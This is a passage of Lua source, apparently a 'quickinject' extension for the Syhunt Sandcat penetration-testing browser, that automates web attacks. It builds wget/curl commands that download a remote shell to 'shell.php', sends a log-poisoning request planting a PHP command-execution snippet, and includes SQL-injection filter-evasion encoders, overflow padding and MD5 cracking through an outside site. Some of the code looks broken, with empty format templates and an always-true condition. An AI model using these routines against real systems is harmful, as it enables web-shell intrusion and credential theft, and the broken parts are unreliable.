]]
}
quickinject.usefulstrings = {
lorem_ipsum = "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum"
}
function quickinject:add()
reqbuilder.toolbar:addhtmlfile('#toolbar','Syhunt.scx#Scripts/quickinject/toolbar.html')
prefs.regdefault(quickinject.opt_shellurl,'http://somehost/shell.txt')
prefs.regdefault(quickinject.opt_shelloutput,'shell.php')
require "Forge"
end
function quickinject:editprefs()
Sandcat:dofile('dialog_prefs.lua')
Preferences:EditCustom(Syhunt.filename,'Scripts/quickinject/prefs.html','syhuntquickinject',[[
quickinject.shell.php.url
quickinject.shell.php.out
]])
end
function quickinject:getshellurl()
return prefs.get(quickinject.opt_shellurl)
end
function quickinject:getshelloutput()
return prefs.get(quickinject.opt_shelloutput)
end
function quickinject.getseparatedstring(s)
return forge.sepchars(s,app.showinputdialog('Separator:',':'))
end
function quickinject:getshelluploadcmd(method)
local s = ''
if method == 'wget' then
s = string.format([[wget %s -O %s]],quickinject:getshellurl(),quickinject:getshelloutput())
end
if method == 'curl' then
s = string.format([[curl -o %s %s]],quickinject:getshelloutput(),quickinject:getshellurl())
end
return s
end
function quickinject:getshelluploadcode(method)
local s = ''
if method == 'wget' or 'curl' then
s = string.format([[]],quickinject:getshelluploadcmd(method))
end
if method == 'file_get_contents' then
s = string.format([[]],quickinject:getshelloutput(),quickinject:getshellurl())
end
return s
end
function quickinject:viewsheet(filename)
local source = Syhunt:getfile('Scripts/quickinject/'..filename)
tab:showcodeedit(source,'.sql')
end
function quickinject:run(func)
require 'Runik'
reqbuildermenu:run(func)
end
function quickinject.getmyip(func)
require 'Runik'
return forge.myip()
end
function quickinject:runjs()
local sel = reqbuilder.edit.getsel()
if sel ~= '' then
tab:runjs(sel)
else
if reqbuilder.request.url ~= '' then
tab:runjs(reqbuilder.request.url)
end
end
end
function quickinject:crackhash(mode)
local sel = reqbuilder.edit.getsel()
if sel ~= '' then
if mode == 'offline' then
Syhunt:CrackMD5()
MD5CrackPHP.ui.md5.value = sel
end
if mode == 'md5decryption.com' then
if browser.newtab('http://md5decryption.com/') ~= '' then
tab:loadrequest{
url = 'http://md5decryption.com/',
method = 'POST',
postdata = 'hash='..sel..'&submit=Decrypt+It%21'
}
end
end
end
end
function quickinject:runhash(algo)
require 'Runik'
local sel = reqbuilder.edit.getsel()
if sel ~= '' then
reqbuilder.edit.replacesel(forge.hash(algo,sel))
end
end
function quickinject:sendtojsconsole()
local sel = reqbuilder.edit.getsel()
if sel ~= '' then
browser.options.showconsole = true
Sandcat:SetConsoleMode('js',true)
console.setcurline(sel)
end
end
function quickinject:sendpoison_cmd(method)
browser.options.showheaders = true
tab:sendrequest{
url = scop.url.combine(reqbuilder.request.url,"/%3C%3Fphp+"..method.."%28%24_GET%5B%27cmd%27%5D%29+%3F%3E")
}
reqbuilder.edit.setfocus()
end
function quickinject.getcustomrot(s)
local n = tonumber(app.showinputdialog('Positions:','13'))
return forge.rotn(s,n)
end
function quickinject.addtosel(s)
if stringop.isint(s) == true then
s = tonumber(s)+1
else
s = stringop.increase(s)
end
return s
end
function quickinject.subtosel(s)
if stringop.isint(s) == true then
s = tonumber(s)-1
else
s = stringop.decrease(s)
end
return s
end
function quickinject:getcustombof(char)
local n = tonumber(app.showinputdialog('Length:','2048'))
return string.rep(char,n)
end
function quickinject.getcolumns(statement)
local n = tonumber(app.showinputdialog('Max Columns:','10'))
local i = nil
local s = ''
if n ~= 0 then
s = 1
for i = 2, n do
s = s..','..i
end
end
s = string.format(statement,s)
return s
end
-- php's stripslashes()
function quickinject.stripslashes(s)
s = stringop.replace(s,[[\']],[[']])
s = stringop.replace(s,[[\"]],[["]])
s = stringop.replace(s,[[\\]],[[\]])
return s
end
function quickinject.spacestocommenttags(s)
return stringop.replace(s," ", "/**/")
end
function quickinject.spacestonewlines(s)
return stringop.replace(s," ", "%0a")
end
function quickinject.strtohex_spaced(s)
return forge.strtohex(s,' ')
end
function quickinject.strtohex_colonsep(s)
return forge.strtohex(s,':')
end
function quickinject.strtohex_0xhex(s)
local hex = scop.convert.strtohex(s)
if hex ~='' then
hex = '0x'..hex
end
return hex
end